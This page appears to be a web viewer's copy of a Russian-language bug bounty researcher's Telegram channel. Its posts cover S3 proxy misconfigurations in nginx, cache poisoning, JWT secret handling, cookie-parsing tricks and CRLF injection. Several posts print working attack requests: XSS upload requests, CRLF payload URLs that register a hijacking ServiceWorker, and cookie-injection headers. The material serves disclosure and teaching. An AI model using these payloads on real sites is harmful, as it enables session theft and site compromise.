TGViewer
Channel Public Channel
BlackFan

BlackFan

@black4fan

Subscribers
1.19K
Photos
11
Videos
0
Links
11
Recent Posts 16 shown
Post #28 1.21K
Записали выпуск "Начинаем в багбаунти" по теме мисконфигов при использовании S3 в веб-приложениях (Youtube).
Непривычный для меня формат, но надеюсь получилось интересно.

Дополнительный материал из выпуска:

➖ https://github.com/BlackFan/s3-fingerprint
Табличка с популярными облачными и локальными решениями, по которой можно определять с какой именно системой идет взаимодействие на сайте.

➖ https://github.com/BlackFan/s3-request-signer
Расширение для Burp Suite и Caido, облегчающее работу с подписанными запросами.
Добавляет к запросу в Repeater некорректную подпись и подписанные GET/PUT запросы по набору добавленных S3 учеток.
Умеет в v2/v4 подписи, v2 можно формировать с помощью Hackvertor тегов.
Поддерживает генерацию подписи не только по данным из HTTP запроса, но и тексту ошибки SignatureDoesNotMatch, когда при проксировании в S3 запрос видоизменяется.

➖ https://github.com/BlackFan/s3-stands
Стенды с мисконфигами и уязвимостями, которые демонстрировались в выпуске.
  • 🔥 41
  • 👍 1
Post #23 1.42K

Forwarded from Standoff 365

Финал Standoff Hacks. Шанхай 🇨🇳

GG. Доиграли до конца.

Топ-3:
🥇 r0hack — MVP Standoff Hacks
🥈 freeman
🥉 BlackFan

MVP по программам:
🏆 BlackFan — Т-Банк
🏆 brain — VK
🏆 hussein98d — «Инфосистемы Джет»
🏆 Antart — Битрикс24

30 топовых багхантеров
350+ отчетов
23+ млн ₽ баунти

Две недели интенсивной работы: сотни отчетов, плотный триаж и реальные результаты.

Спасибо всем исследователям, кто держал темп до финала.
Это и есть настоящий Hacks.

Новый Standoff Hacks через… скоро 👀
  • 🔥 31
Post #22 1.83K
Попался интересный вариант, когда с помощью JWT секрета, извлеченного из Java приложения, не получается сформировать валидный токен.

В проекте использовалась устаревшая библиотека jjwt-0.7.0, которая при использовании строки в качестве секрета неявно декодировала его с помощью Base64, даже если это невалидная base64-строка.

В результате, при использовании следующего кода:
private static String SECRET = "#%j?_GtEhNS!-WH.Vq!";
private static long EXPIRATION = 3600L;

public static String generateToken(String username) {
Map<String, Object> claims = new HashMap<>();
claims.put("sub", username);
Date exp = new Date(System.currentTimeMillis() + (EXPIRATION * 1000));

return Jwts.builder()
.setClaims(claims)
.setExpiration(exp)
.signWith(SignatureAlgorithm.HS512, SECRET)
.compact();
}


Вместо секрета #%j?_GtEhNS!-WH.Vq! вы получаете всего 6 символов 0x8c, 0x6b, 0x44, 0x84, 0xd4, 0x96 или base64_decode("jGtEhNSW").
Все символы, не относящиеся к Base64, удаляются, а последовательность HVq отброшена, так как для корректного Base64 ей не хватает необходимого паддинга =.
  • 🤔 10
  • 🔥 5
  • 👍 4
Post #21 2.2K
Раскрыл один из интересных отчетов в программе Мегамаркет, опять же связанный с некорректным проксированием HTTP запросов в S3 систему.

Ссылка на отчет:
https://bugbounty.standoff365.com/disclosed-reports/37

Из интересного - в отчете используется обход Web Application Firewall через разделение XSS нагрузки на части по 5 мегабайт и использование Multipart Upload в S3.

А подробнее прочитать о том, из-за чего возникает такой мисконфиг, позволяющий проэксплуатировать уязвимость, можно в этом посте: https://t.me/Black4Fan/15
Telegram BlackFan Небольшая заметка про уязвимую конфигурацию nginx при проксировании запросов на S3, которое позволило в том году налутать немного уязвимостей на BugBounty. Объектные хранилища, совместимые с S3 API, используют два варианта указания имени бакета в запросе.…
  • 👍 26
  • 🔥 20
Post #20 7.75K
Интересная уязвимость, связанная с кэшированием HTTP ответов из S3, может возникнуть если немного перестараться с настройкой.

Условия:
1) Сайт хранит статику в S3 и по определенным условиям проксирует туда запросы, либо имеет отдельный поддомен, который проксирует запросы на S3 бакет
2) Чтобы не гонять 10 мегабайтные JavaScript файлы, кэшируется контент из S3 для любого HTTP ответа с кодом 200
3) Так как кэшируется только статика - не включаем в ключ кэша cookie или query-параметры

Казалось бы, все в порядке, но проблема заключается в том, что S3 умеет отвечать с кодом 200 не только возвращая контент файла, но еще и при получении другой информации об объекте.
Например, для получения списка тегов достаточно в query-параметры добавить ?tagging, что часто разрешают для неавторизованных запросов.

https://site.tld/static/somefile.js?tagging


В результате, вместо контента файла вернется следующий HTTP ответ:
<?xml version="1.0" encoding="UTF-8"?>
<Tagging xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<TagSet></TagSet>
</Tagging>


И если так запросить статику на сайте в момент, когда кэш HTTP ответа будет обновляться - это приведет к тому, что всем следующим пользователям вместо JS вернется некорректный ответ и сайт станет недоступен на время жизни зараженного кэша.

Если ?tagging, ?acl и подобные методы возвращают 403, можно попробовать параметры из GetObject API и, например, закэшировать некорректный Content-Type, указав в запросе ?response-content-type=text/html. Это приведет к тому, что браузер откажется выполнять JavaScript с некорректным типом, что также приведет к нарушению работы сайта (это поведение еще зависит от наличия в ответе заголовка X-Content-Type-Options: nosniff).

Как проверить уязвимость и не аффектить реальных пользователей:
1) Находим через архивы устаревшие JS на сайте
2) Так как к ним никто не обращается, следующий запрос будет с обновлением кэша, поэтому сразу запрашиваем с ?tagging или ?response-content-type=text/html
3) Проверяем, что зараженный HTTP ответ возвращается без указания query-параметров
4) Проверяем, что кэш не привязан к текущему пользователю запросив с другого устройства / IP / от имени другого пользователя

Как исправить уязвимость:
1) Убрать из проксируемого HTTP запроса query-параметры при передаче на S3
2) Добавить query-параметры в ключ кэша
  • 🔥 48
  • 👍 13
  • 🤔 1
Post #19 3.2K
VK раскрыли пачку новых репортов, среди которых мой с XSS на ok.ru.

В нем использовалась дополнительная уязвимость веб-сервера с некорректным парсингом двойных кавычек в Cookie, которая позволяет увеличить импакт от XSS и захватить httpOnly cookie.

Для эксплуатации должно сойтись 4 фактора:
• Наличие уязвимости, позволяющей читать тело HTTP ответа (в данном случае XSS)
• В HTTP ответ попадает значение какого-либо cookie параметра
• Возможность создания произвольных Cookie (опять же через XSS)
• Веб-сервер воспринимает следующее значение как один параметр cookie (для веб-браузера это 3 отдельных значения)

Cookie: param1="value1; secret=value; param2=value2";


Рекомендуется ознакомиться:
https://bugbounty.standoff365.com/disclosed-reports/21
  • 🔥 42
  • 👍 9
  • 🤔 1
Post #18 5.35K
Частично реализовал в BFScan поддержку аннотаций в аргументах конструктора класса.

https://github.com/BlackFan/BFScan/releases/tag/v3.1.0

Если раньше для обфусцированных APK у вас генерировалось много HTTP запросов с таким телом, то сейчас результат должен значительно улучшиться.

{
"f199018c": {
"f198956a": {
"f198686a": 1,
"f198687b": 1
},
"f198957b": {
"f198686a": 1,
"f198687b": 1
}
}
}
  • 👍 21
Post #17 3.26K
Пора поддерживать тренды и тоже написать что-нибудь с AI в названии.
Сделал мини-расширение для Burp Suite Pro, использующее Burp AI функциональность для заполнения значения параметров и заголовков HTTP запроса.

https://github.com/BlackFan/Burp-Ai-Substitutor/

Его удобно использовать в случае, если вам неизвестны значения и их нужно угадывать на основе имени параметра.
Например, когда вы собираете запросы по JavaScript коду, отправляете их из Swagger / OpenAPI или сгенерировали запросы моей тулзой BFScan.

Для заполнения данными необходимо просто выделить нужный фрагмент запроса в Repeater и вызвать расширение через контекстное меню (встроенных hot-key для расширений почему-то до сих пор не завезли).
Каждый вызов тратит AI кредиты, которых по умолчанию у пользователей Burp Suite Pro сейчас по 10000.
  • 🔥 35
  • 👍 12
  • 👎 2
Post #16 26.4K
Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}


В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.
  • 🔥 62
  • 👍 4
Post #15 10.9K
Небольшая заметка про уязвимую конфигурацию nginx при проксировании запросов на S3, которое позволило в том году налутать немного уязвимостей на BugBounty.

Объектные хранилища, совместимые с S3 API, используют два варианта указания имени бакета в запросе.

Virtual-hosted–style
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint


Path-style
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint


При использовании path-style варианта может возникнуть довольно неочевидная проблема с конфигурацией nginx.
Рассмотрим на примере сайта, который проксирует запросы подставляя имя бакета в путь с помощью следующего rewrite правила. В примерах будет использоваться Yandex Object Storage, но информация актуальна для всех S3 хранилищ.

location / {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /$s3_name$1 break;

proxy_pass https://$s3_host;


В nginx rewrite применяется к нормализованному пути и если в нем присутствует символ переноса строки %0A, то данное регулярное выражение не сработает, поскольку в нем используются якоря начала и конца строки.

http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar


Что в результате приведет к возможности указать любое имя бакета в запросе. Причем декодированный символ %0A в имени объекта не помешает, так как S3 это не файловая система и такие имена разрешены.

Таким образом, если используется публичное объектное хранилище, атакующий может создать в нем свой бакет с произвольным именем и загрузить на него файл foo%0Abar с XSS. Символ %0A в имени объекта должен быть декодированным, поэтому проще всего загрузить объект на него с помощью PUT запроса.

В данном запросе подпись формируется с помощью Hackvertor тегов расширения для Burp Suite.
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:<@base64><@hex2ascii><@hmac_sha1('##SECRET-KEY##')><@d_burp_url>PUT%0A%0Atext/html%0A<@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>%0A/bucket-name/foo%250Abar</@d_burp_url></@hmac_sha1></@hex2ascii></@base64>
Date: <@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>
Content-Length: 25

<script>alert(1)</script>


Если же запрос попадает во внутреннее объектное хранилище, то атакующий может перебирать существующие в системе бакеты, часть из которых может разрешать создание объектов PUT запросом без авторизации. Что в результате также приведет к возможности проэксплуатировать XSS.


Но чаще встречается ситуация, когда проксирование запросов производится только из одной папки, например:
location /static/ {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /$s3_name$1 break;

proxy_pass https://$s3_host;


Но даже в данном случае конфигурация будет уязвима из-за разницы обработок переданного пути. Правило location и rewrite работают с нормализованным путем, а proxy_pass, в котором указан URI без пути, отправит ненормализованное значение.

Таким образом для эксплуатации уязвимости необходимо отправить запрос, который в нормализованном виде попадет в location /static/, но будет начинаться с бакета, который контролирует атакующий.
http://example.tld/attacker-bucket/..%2Fstatic/foo%0Abar
=
https://storage.yandexcloud.net/attacker-bucket/..%2Fstatic/foo%0Abar


Как и в прошлом примере наличие в имени объекта символов %0A и /../ не помешают эксплуатации, так как это не файловая система и такой объект можно создать PUT запросом.

Также, если вы планируете искать подобные мисконфиги блэкбоксом, то нужно учитывать, что ошибки NoSuchObject и NoSuchBucket часто заменяют на дефолтную страницу 404, что может помешать.
Обойти это можно вызывая ошибки с кодом, отличным от 404, например отправляя PUT запрос без указания Content-Length.

PUT /attacker-bucket/..%2Fstatic/foo%0Abar HTTP/1.1
Host: example.tld
Connection: close
  • 🔥 44
  • 👍 9
Post #14 2.89K
Сейчас появилась целая куча всевозможных облачных и локальных решений, совместимых с S3.
И помимо самого S3 API, в них могут быть реализованы и какие-нибудь свои фишки, которые важно знать.

Например, MinIO поддерживает листинг содержимого ZIP архивов и получение файлов из них.

Для использования данной функциональности необходимо чтобы объект в бакете имел расширение zip (проверяется по подстроке ".zip/") и HTTP запрос содержал дополнительный заголовок x-minio-extract.

Листинг содержимого архива:
GET /bucket/?prefix=archive.zip/&list-type=2 HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


Получение файла из архива:
GET /bucket/archive.zip/test.html HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


В специфичных условиях подобное поведение может быть использовано для XSS если:
• Атакующий контролирует содержимое и имя объекта, но не контролирует Content-Type (в таки случаях также нужно проверять параметр response-content-type)
• Запросы к объектам кэшируются

Закэшировав XSS в ответе используя x-minio-extract, её можно будет использовать против других клиентов, так как этот заголовок не будет использоваться в ключе кэша.


Еще одна интересная функциональность в MinIO - подпись на события в бакете.
В случае, если бакет настроен небезопасно и для него разрешен action s3:ListenBucketNotification, это позволяет в режиме реального времени получать информацию о внутреннем адресе MinIO, изменениях объектов или запросах пользователей к объектам, включая IP адрес и User-Agent.

Пример запроса (Полный список событий):
curl "http://127.0.0.1:9000/bucket/?events=s3:ObjectAccessed:*&ping=1"
  • 👍 17
  • 🔥 8
Post #13 2.69K
Еще немного client-side дроча на тему Self-XSS.

Иногда есть необходимость используя XSS или CRLF Injection на одном поддомене, где нет ничего интересного, проэксплуатировать Self-XSS на другом поддомене, где расположено основное приложение с сессией пользователя.

Обычно это реализуется следующим образом:
1) Подготавливается сессия атакующего с Self-XSS, которая срабатывает на странице /foo/bar
2) С помощью CRLF Injection в браузер жертвы добавляется еще одна cookie с сессией атакующего на путь /foo/bar

Set-Cookie: sessionid=<attacker_session>; domain=.company.tld; path=/foo/bar; secure; samesite=none;


Так как у оригинальной сессии другой атрибут path, то добавленная cookie не перезапишет оригинальную.
На всем сайте пользователь будет авторизован в своей сессии, а на странице /foo/bar отправляется следующий заголовок.

Cookie: sessionid=<attacker_session>; sessionid=<victim_session>;


То есть cookie с сессией атакующего отправляется первой в заголовке, так как у нее большее совпадение префикса path. Веб-приложение в соответствии с RFC берет первое значение в качестве результирующего. И получается, что только на странице /foo/bar пользователь авторизован в сессии атакующего, в которой срабатывает XSS. Что позволяет выполнять действия от имени оригинальной сессии пользователя, отправляя запросы на другие пути.

Но что делать, если веб-приложение берет последнее значение при одинаковых ключах у сессионной cookie?

Если повторять трюк с path, то сессия атакующего будет идти первой и проигнорируется.
Если устанавливать одинаковый path, то оригинальная сессия пользователя будет перезаписана и атака теряет смысл (хотя это все еще может использоваться как CRLF Injection -> XSS, но теперь требуется третья уязвимость для демонстрации импакта).

Иногда в таком случае может помочь создание похожей cookie, которая воспринимается веб-сервером наравне с оригинальной sessionid, а для браузера как две разных.

sessionID=value;
"sessionid"=value;
sessionid =value; (кажется уже зафикшено)
x=x,sessionid=value;


Такую cookie тоже не всегда удается найти.

Но недавно появившийся атрибут cookie Partitioned, предназначенный для раздельного хранилища cookie сайтов верхнего уровеня, позволяет в Chrome создать две cookie с одинаковыми названиями и атрибутами domain и path.

Set-Cookie: sessionid=<attacker_session>; domain=.company.tld; path=/; secure; samesite=none; partitioned;


В результате чего браузер жертвы в каждом запросе будет отправлять две сессии. Cookie атакующего будет идти последней и Self XSS отработает.

Чтобы "выйти" из сессии атакующего после того, как XSS сработала, можно через JavaScript удалить добавленную cookie и в текущей странице выполнять произвольные действия уже от имени оригинальной сессии.

Подробнее про CHIPS Cookie: https://developers.google.com/privacy-sandbox/cookies/chips?hl=ru
  • 🔥 35
Post #12 17K
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
  • 🔥 32
  • 👍 12
Post #11 1.92K
Недавно отправил 800-ый оплаченный отчет в BugBounty.
А вы как-то ведете статистику по своим багам?
  • 🔥 42
Post #10 2.43K
А еще я налутал пачку CVE.
Правда часть из них без упоминания автора ¯\_(ツ)_/¯

Oracle E-Business Suite
CVE-2024-21071 RCE
CVE-2024-21074 SQL Injection
CVE-2024-21075 SQL Injection
CVE-2024-21080 SQL Injection
CVE-2024-21143 Unvalidated Forward

Oracle Critical Patch Update - April 2024
Oracle Critical Patch Update - July 2024


Xibo CMS
CVE-2024-41802 SQL Injection
CVE-2024-41803 SQL Injection
CVE-2024-41804 SQL Injection
CVE-2024-41944 SQL Injection

Xibo CMS Security Advisory


Thruk
CVE-2024-39915 RCE

Thruk Security
  • 🔥 37
Post #9 2.31K
В Standoff появились раскрытые отчеты. Я запросил раскрытие нескольких необычных уязвимостей, в основном связанных с Client-Side.
Пока что открыли только XSS через third-party скрипты от Сalltouch, эксплуатация которой требовала целой кучи мелких фишек.

https://bugbounty.standoff365.com/disclosed-reports/4/
  • 🔥 36
Older posts →

About this channel

How can I read @black4fan without a Telegram account?
TGViewer shows the public web preview Telegram publishes for BlackFan: recent posts, photos, videos and the subscriber count, with no app, login or account.
How many subscribers does BlackFan have?
BlackFan (@black4fan) has 1.19K subscribers on Telegram, refreshed roughly every 30 minutes.
Does BlackFan know I viewed it here?
No. Public channel previews carry no viewer identity, and TGViewer has no accounts or tracking of what you look up.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →